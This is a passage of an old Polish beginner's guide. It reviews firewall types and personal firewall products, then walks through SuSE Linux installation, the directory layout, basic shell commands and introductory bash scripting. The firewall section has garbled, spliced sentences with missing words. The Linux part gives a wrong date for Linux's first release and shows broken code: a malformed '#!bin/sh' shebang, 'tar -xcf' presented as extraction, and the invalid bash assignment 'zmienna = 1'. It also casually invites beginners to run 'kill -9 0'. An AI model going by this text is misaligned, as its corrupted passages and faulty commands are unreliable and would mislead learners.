danych z lub do komputera. O niebezpieczenstwie pliku decyduje funkcja
"Application Control". Natomiast zarzadzaniem wszystkich dzialajacych
programow a przedewszystkim chroniem przed wirusami z poczty elektronicznej
zajmuje sie funkcja "Zones". Mowiac o zliwic dostep do danych osobom
nieautoryzowanym. Niektore z nich moga nawet calkowicie zablokowac ruch
pakietow z zewnatrz, zezwalajac jednoczesnie na swobodne uzywanie internetu.
Nad zarzadzaniem calym systemem obronstion host, ktore sa umieszczone na
poczatku lini obrony. Takie sa ogolne zasady dzialania firewalla
(na podstawie ZoneAlarm) .

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.5a     Jakie sa rodzaje firewalli?

    Temat  rzeka.  Istnieje wiele produktow sprzedawanych pod nazwa firewall.
 Wszystkie roznia sie od siebie rodzajem oferowanych zabezpieczen. Najbardzie
 znane to:

    Application Level- jest to rodzaj hostow, na ktorych dziala proxy servers
 i  nie  zezwala  on na transmisje pakietow miedzy sieciami. Proxies potrafia
 rowniez  sledzic  cale ruchy pakietow. Kazda aplikacja posiada osobny proxy,
 ktory  decyduje  o  potwierdzeniu  lub  odrzuceniu  polaczenia.  Najwiekszym
 minusem  tego  rozwiazania jest uzywanie wielu proxies do sprawdzenia kazdej
 aplikacji.

    Network  Level  (filtry pakietowe)- zwykle bardzo szybkie, ich najwieksza
 wada  jest  to,  ze kryteria selekcji czasami staja sie niewystarczajace dla
 niektorych   uslug  internetowych,  co  powoduje  przepuszczenie  niektorych
 niebezpiecznych  pakietow  do  wewnatrz.  Bardzo  duzym  plusem filtrow jest
 podejmowanie  decyzji  o  niebezpieczenstwie  przesylek. Do oceny potrzebuja
 tylko adresu docelowego i zrodlowego.

    Circuit  Level(rodzaj  "bramek")- ich glownym zadaniem jest kontrolowanie
 transmisji pakietow.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5.5b    Jakie sa najlepsze firewalle?

    Postaram   sie   wymienic  najlepsze  i  najbardziej  oplacalne  z  nich.
 Oczywiscie trudno bedzie ocenic, ktory jest najlepszy. Wybor zostawiam Wam.

 1) Tiny Personal Firewall ver. 2.0.13

 Aplikacja  daje nam mozliwosc konfiguracji w jaki sposob maja byc wysylane i
 odbierane dane z sieci. Do wyboru mamy trzy warianty:

 Cut Me Off (wysoki)- odcina nas od internetu. To chyba najlepszy sposob:).
 Ask  Me  First  (sredni)-  pyta  nas  o  wszystko.  Ten  wariant jest bardzo
 uciazliwy.
 Don'  t Brother Me (niski)- wszystkie czynnosi sieciowe zostaja wykonane bez
 pytania.

 Jezeli  nie  jestes  pewien,  ktora  opcje  chcesz wybrac zaznacz tzw. "tryb
 inteligentny",  ktor  czas  wystapienia  jakiejs nieprawidlowosci, np. proby
 wlamania,  aplikacja wyswietli propozycje rozwiazania problemu. Bardzo duzym
 plusem  jest  to,  ze  firewall  zapamietuje Twoje odpowiedzi i nie pyta Cie
 drugi  raz.  Pod  koniec  dzialania  aplikacja wyswietla raport o wszystkich
 podejrzanych  sytuacjach,  w  ktorych  podjal dzialania obronne. Jedyna wada
 naszego programu jest kiepskie zarzadzanie pamiecia. Firewall jest bezplatny
 dla uzytkowania osobistego. Firmy zaplaca zaplaca za licencje ok. 26 USD (na
 stanowisko).

 Program jest kompatybilny z Windows 9x, ME, 2000 oraz NT4.0. Producent: Tiny
 Software, www.tinysoftware.com.


 2) ZoneAlarm ver 2.6

 Glowanymi  atutami tego firewalla jest szeroki zakres opcji. Program ten nie
 tylko  sprawdza nadchodzace pakiety z sieci, ale rowniez kontroluje programy
 na  Twoim  kompie.  Oznacza  to dotatkowa ochrone przed koniami trojanskimi.
 Zauwazylem,  ze  niezwykle pozyteczna opcja jest "wylaczanie" niepotrzebnego
 ruchu  w sieci w czasie, gdy Twoj komputer jest wylaczony. Dodatkowo program
 posiada  opcje  skanowania  korenspondencji  elektronicznych. Znajduje takie
 robaki jak np. I Love You.

 Producent: ZoneLabs, www.zonelabs.com.


 3) Sygate Personal Firewall ver. 4.0
 Firewall  ten  rozroznia  dwa sposoby aktywacji ochrony. Pierwszy wariant to
 opcja  automatyczna, ktora aktywyje sie po wlaczeniu WinGrozy. Drugi pozwala
 nam  na reczne uruchomienie w menu wINDOWSA. W przeciwienstwie od dotychczas
 opisanych  firewalli,  program  ten  rozroznia az kilkanascie trybow ochrony
 danych,  co  umozliwia  nam  dokladne  skonfigurowanie  dzialania aplikacji.
 Najlepszym  wariant jest taki, aby firewall informowal Cie o probach dostepu
 do danych przez osoby nieautoryzowane.


 a za licencje ok. 39 USD za stanowisko.
 Program  jest  kompatybilny  z  Windows  9x, ME, 2000 oraz NT4.0. Producent:
 Sygate Technologies, www.sygate.com.


 4) NetWatcher 2000

 Typowy  firewall,  ktory nie wyroznia sie niczym szczegolnym. Do jego plusow
 niewatpliwie nalezy szeroki zakres opcji ochrony, jaki i rowniez rozbudowany
 system  raportowania.  Program  zapisuje  jak  najwieksza ilosc informacji o
 intruzie  (jego IP, port i adres serwera, z ktorego probowal sie wlamac) aby
 nastepnie  umozliwic  udowodnienie  wlamania.  Tak  jak  wszystkie aplikacje
 ochrony   podczas  wlamania  wyswietla  dokladna  informacje  o  problemie i
 sugeruje  sposob  jego rozwiazania. Najwieksza wada tego firewalla sa czeste
 falszywe  alarmy. Program kosztuje(dla firm i zwyklego uzytkownika)- 24 USD.
 Program jest kompatybilny z Windows 9x, ME, 2000 oraz NT4.0.

 Producent: MoonLight Software, www.moonlight-software.com.

 5) ConSeal PC Firewall

 Aplikacja  przeznaczona  glownie  dla ochrony sieci lokalnej. Jednak uzywana
 jest  rowniez  przez zwyklych uzytkownikow. Cecha ta stanowi najwiekszy atut
 tego firewalla. Program ten jest wyjatkowo latwy do opanowania. Samodzielnie
 dostosowuje   rodzaj  zabezpieczen  na  podstawie  naszych  dzialan.  Mozemy
 skonfigurowac  jakie  dane  maja  byc  przyjmowane,  a jakie odrzycane przez
 system  obrony.  Niestety  nie  ma aplikacji doskonalych. Wada ConSeala jest
 brak wspolpracy z innymi firewallami.

 Za  firewalla  zaplacimy  zaleznie  od wersji: (Win 9x/Me)- od 44 do 49 USD,
 (Server  NT/2000)- 295 USD.
 Program jest kompatybilny z Windows 9x, ME, 2000
 oraz NT4.0. Producent: ConSeal, www.consealfirewall.com.


  -----------------------------LINUX SuSE-------------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.1    Wstep

Linux jest swietnym systemem opercyjnym w pelni sieciowym z reszta nie bede sie
teraz o tym rozpisywal sam sie o tym przekonasz. System ten zostal stworzony
przez Linusa Thorvaldsa pierwsza wersja Linuxa powstala w 1994 roku mial on byc
ogolnie dostepnym i co wazne calkowicie darmowym czyli niekomercyjnym systemem
operacyjnym. Opiera sie on na systemach Unixowych, doskonale obsluguje
wielozadaniowosc i jednoczesna prace wielu uzytkownikow. Obsluguje bez problemow
prawie wszystkie urzadzenia tj. karty graficzne, sieciowe, CD-Romy itp.
Instalujac sobie Linuxa nie musisz rezygnowac z innego systemu operacyjnego np.
Win98. Wystarczy ze masz dwie partycje i jedna przeznaczysz na Linuxa druga na
np. Windowsa. Przed startem ktorego kolwiek z systemow bedziesz mogl wybrac ten
na ktorego w danej chwili bedziesz mial ochote. Jeszcze jedna zaleta - Linux ma
umiarkowane wymagania sprzetowe, oczywiscie zaleza one od tego co chcesz Linuxem
robic. Jesli chcesz wykorzystac w pelni jego mozliwosci lub administrowac
pozadnym serwerem przyda sie niezly sprzet. Lepiej nie schodz ponizej P133 32MB
RAM. Oczywiscie system ruszy nawet pod 386 4MB RAM ale watpie czy bedziesz mogl
sie wtedy nacieszyc trybem graficznym tj. KDE X-Windows. Jesli zdecydowales sie
juz na Linuxa bedziesz mial do wyboru kilka dystrybucji mn.in. Red Hat, Debian,
Slackware, SuSe O tym ostatnim bedzie dalsza czesc tego poradnika poniewaz Linux
SuSe jest wedlug mnie dzisiaj jedna z najlepszych dystrybucji dla
poczatkujacych.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.1a    Spis dystrybucji Linuxa

Linux jako system jest jeden, jednak istnieje wiele dystrybucji Linuxa. W
dodatku kazdy moze stworzyc wlasna. Kod zrodlowy jadra jest ogolnie dostepny
wystarczy posiadac odpowiednia wiedze, duzo zapalu i napisac wlasna wersje. Z
drugiej strony taka duza ilosc dystrybucji doprowadza do tego, ze poszczegolne
rodzaje Linuxa coraz bardziej sie roznia. Przedstawiam tutaj krotki spis
wazniejszych dystrybucji:

S.u.S.E. - niemiecka dystrybucja, ostatnio zyskala duza popularnosc. W tym
dokumencie to wlasnie glownie na tej dystrybucji sie skupimy. W trakcie pisania
najnowsza wersja byl SuSE 6.1. Ciekawa inowacja w SuSE jest YaST zazadzajacy
instalacja. Adres: www.suse.de

Red Hat - bardzo popularna dystrybucja chyba najpopularniejsza. Jest on dobry
dla poczatkujacych dzieki
latwej instalacji i administracji systemu.
Adres: www.redhat.org

Debian - rownie popularna posiadajaca swoich fanatykow dystrybucja. Stabilna
chociaz administrowanie jest trudniejsze niz w innych. W dodatku jest Debian nie
jest tworzony przez zadne komercjalne firmy lecz grupe zapalencow.
Adres:
www.debian.org

Slackware - najstabilniejsza i najbezpieczniejsza dystrybucja, niestety trudna w
konfiguracji. Cos dla twardzieli lub zaawansowanych uzytkownikow.
Adres:
www.slackware.org

Caldera Open Linux - Dystrybucja w dwu wersjach komercyjnej oraz free.
Adres:
www.caldera.com

Polish Linux Distributon - Polska wersja Linuxa oparta na Red Hat.
Adres:
www.pld.org.pl

Pocket Linux - Takze polska dystrybucja w dodatku mieszczaca sie na jednej
dyskietce.
Adres: pocket-linux.coven.vmh.net

Mandrake - systrybucja poczatkowo rozwijana w oparciu o Red Hat'a - teraz jednak
jest odrebnym produktem (tak mowia). Przyjemna w obsludze, szczegolnie dla osob
pracujacych wczesniej na Red Hat.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.1b    Skad wziasc Linuxa?

Pewnie sobie myslisz skad ja wezme tego cholernago Linuxa? Ile moze kosztowac?
Najwieksza zaleta Linuxa jest wlasnie to, ze nie ma ceny to znaczy nic nie
kosztuje. Mozna go nabyc darmowo z serwera np. sunsite.icm.edu.pl/ na razie nie
ma tam jednak bardzo dobrej wersji Linuxa czyli SuSe. Sciagac jednak odradzam
lepiej zdobyc CD. Byl na krazku PCKomputer World '12 98, na krazku dolaczonym do
Linux+ 3/99. Wersja darmowa jest niestety troche bardziej obkrojona to znaczy
nie ma wszystkich dodatkow, aplikacji i programow. Ale i tak mysle ze darmowa
wersja jest 100 razy lepsza dla serwerow internetowych niz Windows NT z reszta
bardzo drogiego. Darmowy Linux SuSe ma wszystkie potrzebne serwisy WWW, FTP,
News, Mail w darmowym SuSe znajduje sie nawet ICQ for Linux:-) X-Window System
wspomaga najnowsze karty graficzne, do SuSe dodano nowe pakiety antywirusowe,
lepsze monitorowanie ruchu w sieciach TCP/IP, sledzenie logow systemowych.
Najnowsza dystrybucja zawiera kernel 2.2.3. Mozesz kupic takze oryginalna plytke
ale cena bedzie zdecydowanie wyzsza od 200-300 zl.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.2    Instalacja Linux'a SuSE

Jesli juz masz Linuxa SuSe zapewne zastanawiasz sie jak go zainstalowac.
Instalacja nie jest taka prosta jak Windowsa gdzie byle dzieciak sobie poradzi.
Najpierw musisz zrobic druga partycje lub miec drugi dysk i na nim wstawisz
Linuxa. Mozna instalowac wprost w CD nastawiajac w BIOS'ie bootowanie CD albo
korzystajac z setup.exe na CD-ROMie z systemem odpal program setup.exe z DOS'a
lub z Windowsa, nastepnie wybierz literke napedu CD np. E. Setup.exe daje nam
dwie mozliwosci instalacji Linuxa
1. Z uzyciem loadlin pod DOS - odradzam. Bedzie spowalnialo dzialanie Linuxa
mozesz miec problemy z pamiecia. Jest to jednak wygodne bo mozna potem odpalac
Linuxa z polecenia np. C\linux hdc2 (jesli Linux jest juz zainstalowany na
drugiej partycji czyli w tym przypadku hdc2).
2. Utworzenie dyskietek startowych. Najlepsza metoda. A wiec wybieramy opcje
Floppy. Umieszczamy dyskietke w napedzie, Setup zrobi z niej Boot-dysk.
Nastepnie przejdziemy do okienka wyboru instalowanego kernela, jesli masz typowy
sprzet z dyskiem i CD EIDE (ATAPI) wybierz EIDE01. Jesli natomiast masz SCSI
musisz dokladnie dobrac wersje do posiadanego typu urzadzen SCSI. Gdy zrobi sie
boot-dysk wybieramy Continue, wkladamy do napedu nowa dyskietke i wybieramy
opcje ROOT. Zaraz otrzymamy 1 boot-dysk i dwie dyskietki ROOT. Czasami trzeba
ustawic w BIOS'ie napedu A: jako boot-device. Ok teraz wkladamy boot-dysk do
napedu i resetujemy komputer. Zamiast Windowsa zaladuje sie instalator Linuxa.
Na poczatku da nam mozliwosc wyboru jezyka, wybieramy np. English. Nastepnie
rodzaj ekranu color/monochromr display. Potem uklad klawiatury wybieramy
American bo pl to uklad maszynistki. Wreszcie mozemy przejsc do okna programu
instalacyjnego, Main Menu. Jest tam kilka opcji pierwsza to - Settings tam
mozemy zmienic wczesniej juz wybrane ustawienia klawiatury, ekranu, jezyka.
Druga opcja - System Information czyli informacje o ustawienia. Trzecia - Kernel
Modules - do zainstalowania dodatkowych driverow do danego sprzetu. Najlepiej
wybrac - Autoload of Modules - komputer sam wykryje sprzet i dogra odpowiednie
sterowniki. Czwarta opcja - Start Instalation -. Nastepnie wybieramy instalacje
CDROMu i Linux uruchomi program instalacyjny YaST (z reszta calkiem mily w
obsludze). Na poczatku YaST prosi o podanie trybu instalacyjnego "Instal Linux
from scratch". Nastepnie pojawi sie zapytanie o podzial dysku wybieramy
"Partitioning". Nastepne pytanie to "Czy przeznaczamy Linuxowi caly dysk?".
Jesli nie to wybieramy partycje ja np. mam Linuxa na hda2 a na Windowsa na hda1
(pamietaj jednak ze Lilo loader musi sie znalesc w pierwszych 1024 cylindrach
dysku!!!!). Gdy juz wybierzemy partycje/dysk na ktorym zaisntalujemy Linuxa YaST
da nam do wyboru jesli nie chcesz mieszac wybierz "Start instalation" a Linux
wybierze automatycznie instalacje standardowa czyli default. Mozna jednak wybrac
opcje:
1. All - czyli zgranie calej zawartoscie CD-ROM na dysk.
2. Devel - dla programistow.
3. Minimal - raczej nie oplaca sie.
4. Network - cool! Cos dla zapalenca sieciowca.
5. Default - standardowa instalacja.
Mamy takze mozliwosc wyboru pojedynczego pakietu lub wymontowania jakies nam
niepotrzebnego dzieki opcji "Change/Create instalation". Przy kazdym pakiecie
jest wskaznik:
[] gdy pakiet nie jest zaisntalowany i nie jest wybrany.
[i] gdy jest zainstalowny.
[X] pakietu nie ma ale jest wybrany do instalacji.
[R] reinstalacja pakietu.
[D] deinstalacja czyli skasowanie pakietu.
Nastepnie mozemy zapisac nasza konfiguracje wybierajac opcje "Save
configuration". Dobra teraz pora wreszcie zainstalowac te wszystkie pakiety wiec
wybieramy "Start instaliation". Teraz sobie troche poczekamy az Linux
zainstaluje wszystkie pakiety. W prawym gornym rogu YaST informuje nas ile
jeszcze pakietow zostalo do zainstalowania. Gdy YaST skonczy juz isntalowac
Linuxa wybieramy "Main Menu" i "Finish instalation and exit YaST". Teraz
komputer spyta nas sie o rodzaj kernela wybieramy w wiekszosci wypadkow EIDE01
chyba ze masz SCSI i robimy nastepny BOOT-dysk. Nastepnie pora skonfigurowac
LILO czyli Linux Loader. Dzieki niemu po uruchomieniu komputera bedziemy mogli
wybrac system. Po wybraniu LILO pojawi sie okno konfiguracyjne. Wciskamy F4
czyli New Config. Podajemy nazwe konfiguracji np. Win dla Windowsa. Teraz
wybierajac opcje "Which operating system" czyli wybieramy jaki system chcemy
ladowac: Linux czy Windows lub OS2. Gdy wybierzemy system musimy podac na ktorym
dysku sie znajduje czyli opcja "Patrition to boot". Lista dyskow i partycji F3.
Ok teraz dajemy Continue i robimy jeszcze raz to samo ale dla drugiego systemu.
W Linux Loader sa jeszcze opcje:
1.Boot delay - czas po jakim system sam zacznie sie ladowac.
2.Where do you want to install LILO - wybierz Master boot record.
Dobra instalacja LILO skonczona teraz zostaniemy zapytani o:
1.Strefe czasowa czyli Warsaw.
2.Potem wybieramy nazwe komputera np. jelcyn. i nazwe domeny np.
com.pl:-)
3.Jesli nie masz karty sieciowej wybierz Loopback jesli mamy to Real Network.
4."Do you want to access a nameserver? czyli jesli mamy serwer nazw
dajemy yes jak nie to no
5.Start idetn? - dajemy Yes.
6.Start the portmapper - wybieramy No.
7.Sendmail configuration - jesli nie mamy serwera nazw to wybieramy
"Use UUCP" jesli tak to "Network connection whit access to name server"
Startujemy system. Komputer zapytna nas o haslo root'a ktory jest administatorem
tylko nie zapomnij hasla, Linux spyta nas sie jeszcze "Do you want to keep your
current configuration" odpowiadamy oczywiscie Keep, potem Continue. Wreszcie
Linux nas powita Welcome to S.u.S.e. Linux.
login: tu podajemy root.
password: czyli haselko ktorego mam nadzieje nie zapomniale(a)s (jesli tak sie
stalo to odpal od nowa kompa i w wpisz w loaderze LILO:linux single
System musi sobie jeszcze wszystko poporzadkowac. Aby zamknac Linuxa naciskamy
Ctrl+Alt+Del lub piszemy reboot.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3    Obsluga Linuxa SuSe

Jesli juz zainstalowales sobie system myslisz pewnie jak to sie je? Teraz po
kolei omowie najwazniejsze sprawy budowa systemu, komendy, konfiguracje. Potem
przejde do systemu graficznego.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3a    Struktura katalogow

Przestawiam spis najwazniejszych katalogow i krotki opis ich funkcji.
/ - glowny katalog czyli root directory
/dev - tutaj jest masa plikow ktore obsluguja dyski, cdromy, karty
/proc - komendy ps (procesy)
/etc - tutaj znajduja sie pliki konfiguracyjne, inne podkatalogi, scrypty
Wazne pliki to np:
/etc/passwd
/etc/group
/etc/shadow
/etc/fstab
/etc/services
/etc/inetd.conf
itp.....
/bin - wykonywalne narzedzia systemowe dostepne dla wszystkich uzytkownikow
systemu
/lib - biblioteki run-time roznych jezykow programowania
/home - katalog domowy, roznych uzytkownikow systemu tam zazwyczaj tworzy sie
katalogi dla innych uzytkownikow
/mnt - uzywany jako punkt do przylaczania np: innego dysku, cdrom'a, fdd
/lost+found - przechowuje sie w nim pliki zgubione
/usr - narzedzia i aplikacje
/var - katalog do przechowywania plikow pocztowych
/tmp - katalog dla plikow tymczasowych, dostepny dla wszystkich, takze pliki
sciagne z internetu tam wedruja
/root - katalog wlasny nadzorcy systemu

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3b    Polecenia Linuxa

Komendy to podstawa. Znajomosc ich jest konieczna w trybie graficznym nie
wszystko zrobisz. Czesto w trybie graficznym korzysta sie i tak z xterma. Z
reszta wiele rzeczy mozna wykonac o wiele szybciej wykorzystujac odpowiednie
polecenia.

Wszystkie polecenia powloki maja nastepujaca skladnie:
polecenie argument1 agrument2 agrument3 argumentN
Krotkie polecenia mozna laczyc uzywajac srednika (;) jako separatora polecen.
Natomiast jesli komenda jest za zeby zmiescic sie w jednym wierszu mozemy
wklepac slasha \ i wcisnac Enter, aby kontynuowac w nastepnym wierszu. Mozna
laczyc polecenie |. Np. cat plik | less wyprobuj sam. Mozna takze skierowywac
dane dzieki znakom > <. Aby przerwac jakies polecenie mozna uzyc Control+Z lub
Control+D.
pwd - podaje bierzacy katalog np. /home

ls - to samo co dir w DOSie czyli spis plikow np.
ls - krotki spis
ls -a - nawet ukryte
ls -l - dodatkowe informacje

cd - zmienia katalog tak jak w DOS:-) np.
cd .. - katalog wczesniejszy
cd /var - wejscie do katalogu var
cd / - przejscie do root katalogu

mkdir - tworzy katalog(i) o wiele lepsza komendy niz ta z DOS np.
mkdir kat1 - tworzy jeden katalog
mkdir kat1 kat2 - tworzy dwa katalogi
mkdir-p kat1/kat2/kat3/kat4 - tworzy po kolei w katalogi w katalogach

rmdir - kasuje pusty katalog np.
rmdir kat - usuwa katalog kat
rmdir kat pic var - usuwa kilka katalogow

cp - kopiowanie plikow np.
cp plik /home/www - kopiuje plik do katalogu /home/www
cp plik plik2 - kopiuje plik do pliku2

rm - usuwanie plikow np.
rm plik1 - usuwa plik 1
rm -r katalog1 - usuwa alles z katalogu nawet podkatalogi

mv - zmiana nazwy plikow lub przenoszenie np.
mv plik1 plik2 - zmiana nazwy
mv plik1 /var - przenosi plik do katalogu /var

cat - wyswietla zawartosc pliku np.
cat plik1 - wyswietla zawartosc na ekranie
cat > plik1 - mozemy dopisac tekst do pliku1 gdy nacisniemy Ctrl+D

chmod - udostepnianie plikow np.
chmod 777 - udostepnienie wszystkim wszyskich praw do danego katalogu pliku
czyli (rwx)
chmod 741 - sam poprobuj

To byly najwazniejsze na poczatku komendy teraz kilkanascie innych
ale bardzo waznych (alfabetycznie)

cmp - (compare) porownywanie zawartosci plikow np.
cmp plik1 plik2

df - disk free ilosc wolnego miejsca na dyskach

diff - pokazuje roznice miedyz dwoma plikami np.
diff plik1 plik2

dmesg - komunikaty startu systemu

du katalog - podaje wielkosc katalogu

finger - informacje o danym uzytkowniku np.
finger root

ftp - usluga ftp o nim kiedy indziej teraz podam tylko kilka komend:
open - laczenie sie z komputerem np. open jasio.org.pl
get - pobieranie pliku
send - wysylanie pliku
bye - koniec sesji
help - poczytaj sobie
help - gdy czegos nie wiesz

grep katalog (lub plik) lancuch - przeszukiwanie plikow za danym lancuchem

irc - uruchamianie uslugi irc

kill - zabijanie procesow gdy cos uruchomisz np. ftp sprobuj tez Ctrl+Z, sprobuj
tez kill -9 0

last - sprawdzanie logow np.
last root - sprawdza kiedy logowal sie root

lastcomm - sprawdza co porabial ostanio dany uzytkownik np.
lastcomm jasio

less plik - lepsze od more mozna przegladac plik

logout - wylogowanie sie

man - super pomoc np.
man ls - wszystko o ls

mail - odbieranie poczty troche niewygodne napisz list otrzymasz liste komend

more plik - dzieki temu poleceniu przejzych plik

mount - o tym pozniej w kazdym razie sluzy do montowania np. CDROMu,
odwritna komenda to umount

passwd - zmiana hasla, najpierw podajesz stare potem nowe

ps - ukazuje co takiego porabiasz w pamieci dodatkowo dostajesz PID potrzebny
przy komendzie kill

set - ustawia zmienne

shutdown - zrzut Linucha np (albo reboot).
shutdown now

talk - program do gadania np.
talk tty0

tar - archiwizacja plikow np.
tar -xcf plik1.tar - rozpakowanie pliku
tar -cvf plik1 - pakowanie pliku

telnet - uruchamia terminal telnetowy o tym pozniej

who - wypisuje informacje o zalogowanych uzytkownikach

whoami - kim jestem?


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c    Powloka i skrypty

W Linuxie mozemy korzystac z roznych interpretorow polecen, czyli powlok.
Powloka z angielskiego - shell. My zajmiemy sie jedna z tych powlok, a
mianowicie interpretorem Bash czyli Bourne Again Shell, ktory jest w Linuxie
domysla powloka, jest ona zgodna z oryginalna powloka UNIXowa Bourne Shell. Bash
znajduje sie w katalogu /bin.   Przeznaczeniem powloki jest wyswietlanie monitu
i wykonywanie wpisanych z klawiatury polecen. Oprocz wykonywania zwyklych
polecen, Bash umie wykonac dowolny program zawarty w pliku wsadowym oraz
zrealizowac skrypt powloki (podobnie jak w DOSie tyle ze tam byly pliki *.bat).

Skrypty powloki ciesza sie duza popularnoscia wsrod adminow. Warto nauczyc sie
je tworzyc i wykorzystywac. Czasem moze znuzyc wykonywanie wiele razy tych
samych operacji. Przedstawiam tutaj jedynie podstawy tworzenia skryptow, ale
przeciez trzeba jakos zaczac. Na poczatku pokaze prosty skrypt. Zaloz plik
hello.sh i wklep ponizsze linijki (do edycji uzyj jakiegokolwiek edytora
najlatwiej w KDE ale mozesz np. uzyc fajnego edytorka pico:

#!bin/sh
echo "Hello world!"
echo "Ten dokument nazywa sie: $0"

Pierwszy wiersz kaze Linuxowi, zeby uruchmil /bin/sh ktory przetworzy linijki
druga i trzecia. /bin/sh odnosi sie do powloki UNIX-a. Mimo to skrypty
wykonywane sa przez powloke bash ktora jest zgodna z powloka sh. Dobra mamy plik
hello.sh teraz trzeba uczynic go wykonywalnym. Wpisz wiec chmod +x hello.sh.
Teraz uruchom go wpisujac jesto nazwe. Wynikiem jego dzialania bedzie
wyswietlenie tekstu Hello world!, oraz podanie nazwy tego pliku dzieki $0.
Teraz stworzymy skrypt arg.sh z argumentem:

#!bin/sh
echo Argument 1: $1

Uruchom go podajac jakis argument np. tak arg.sh "Linux". Wynikiem dzialania
tego skryptu bedzie oczywiscie taka linijka.
Argument 1: Linux

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c1    Zmienne w Bashu

Zmienne w Bashu sa definiowane jak zmienne srodowiska. Np.
rok=1999 #Komentarz
Przy okazji dodam, ze po znaku # mozemy umiescic komentarz i linijka nie jest
wykonywana.
Jezeli teraz chcemy wyswietlic wartosc zmiennej rok posluzymy sie nastepujacym
poleceniem:
echo $rok
Oprocz zwyklych zmiennych istanieja takze specjalne jedna juz podalem $0
odwoluje sie ona do nazwy skryptu. Inne zmienne $1; $2 ... $n odwoluja sie do
agrumentow wiersza polecen. Zmienna $* przechowuje wszystkie agrumenty w postaci
jednej zmiennej. Mozemy takze zwrocic sie do uzytkownika o podanie jakichs
wartosci czy danych. Wtedy uzyjemy polecenia read. Przyklad:
#!bin/sh
echo -n "Ile masz lat: "
read ilosc
echo "Masz $ilosc lat"
Analizujac: najpierw pojawia sie linijka z pytaniem. Dodatkowo agrument -n
wylaczyl automatyczne dodawanie wiersza. Nastepnie polecenie read czeka na
podanie wartosci. Wartosc wyswietlana jest w trzeciej linijce.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c2    Polecenie test.

 Polecenie test porownuje dwie wartosci i zwraca stan wykonania 0 jezeli
 porownanie okazalo sie prawdziwe.
 Za pomoca polecenia test mozesz porownywac stale, ciagi znakow, a nawet
 wykonywac operacje logiczne. Aby sprawdzic czy dwa napisy sa identyczne,
 uzywasz znaku =. W celu sprawdzenia czy sie roznia uzywasz !=.
 Skladnia polecenia wyglada tak:
   test wartosc -opcja wartosc
   test napis = napis
 Np. aby sprawdzic czy dwie wartosci sa rowne uzyc mozna nastepujacych komend:
   $ liczba=5
   $ test $liczba -eq 10
   $ echo $?
   1
 Zamiast tego mozesz uzyc nawiasow kwadratowych. I wyrazic to samo w
 nastepujacej formie:
  [ $liczba -eq 10 ]
  lub
  [ $powitanie = "czesc" ]
 Nie myl porownywania ciagow znakow i liczb calkowitych. Aby sprawdzic, czy
 dwa ciagi znakow sa identyczne uzywasz = , a by porownac dwie liczby, uzywasz
 opcji -eq, ktora oznacza porownanie rownosciowe. Istnieje jeszcze kilka opcji
polecenia test:

-r plik - mozna czytac z pliku
-w plik - mozna pisac do pliku
-x plik - mozna wykonywac plik
-f plik - plik jest zwyklym plikiem
-d plik  - katalog
-s plik - plik nie jest pusty

Pora na konkretny przyklad:
test -r plik -o -w plik
Polecenie test sprawdzi czy mozna czytac plik albo czy mozna pisac do pliku.
Uzylem tu spojnika logicznego -o czyli or/lub. Sa jeszcze inne spojniki np. -a
4^czyli and/i.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c3    Instrukcja warunkowa

W skryptach mamy nastepujace instrukcje sterujace: if, case, for, while.
Lopatologicznie tlumaczac zwracaja one wartosc liczbowa wskazujaca czy polecenie
zakonczylo sie pomyslnie czy tez nie. Wartosc po prawidlowym wykonaniu polecenia
rowna sie zero. Gdy jest rozna od zero oznacza to ze cos jest nie tak.
Najpierw zajmiemy sie popularna, wystepujaca w sumie w kazdym jezyku instrukcja
warunkowa if. Ma ona taka oto skladnie:

if warunek
then
    polecenia wykonywane gdy warunek prawdziwy
else
    polecenia wykonywane gdy warunek falszywy
fi

Nalezy pamietac o tym fi.
Teraz przyklad:

zmienna = 1
if test $zmienna = 1
then
    echo "Warunek spelniony"
else
    echo "Blad"
fi

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c4    Petle

Przejdzmy do petelek. Dostepne sa dwie for i while. Petla wykonywana tak dlugo
az wartosc zmiennej bedzie rowna 0. Oto skladnia petli for:

for zmienna
do
    polecenia
done
Czesto wykozystuje sie petle for w taki sposob:
for i in /home/nancy /home/zdzichu /home/pamela
do du $i
done

Wynikiem bedzie wypisanie objetosci katalogow zdzichu, pamela i nancy. Istnieje
jeszcze inna petla while ma  ona nastepujaca budowe:

while
do
    polecenia
done

Przyklad:

while test `who | grep $1 | wc -l` -eq 0
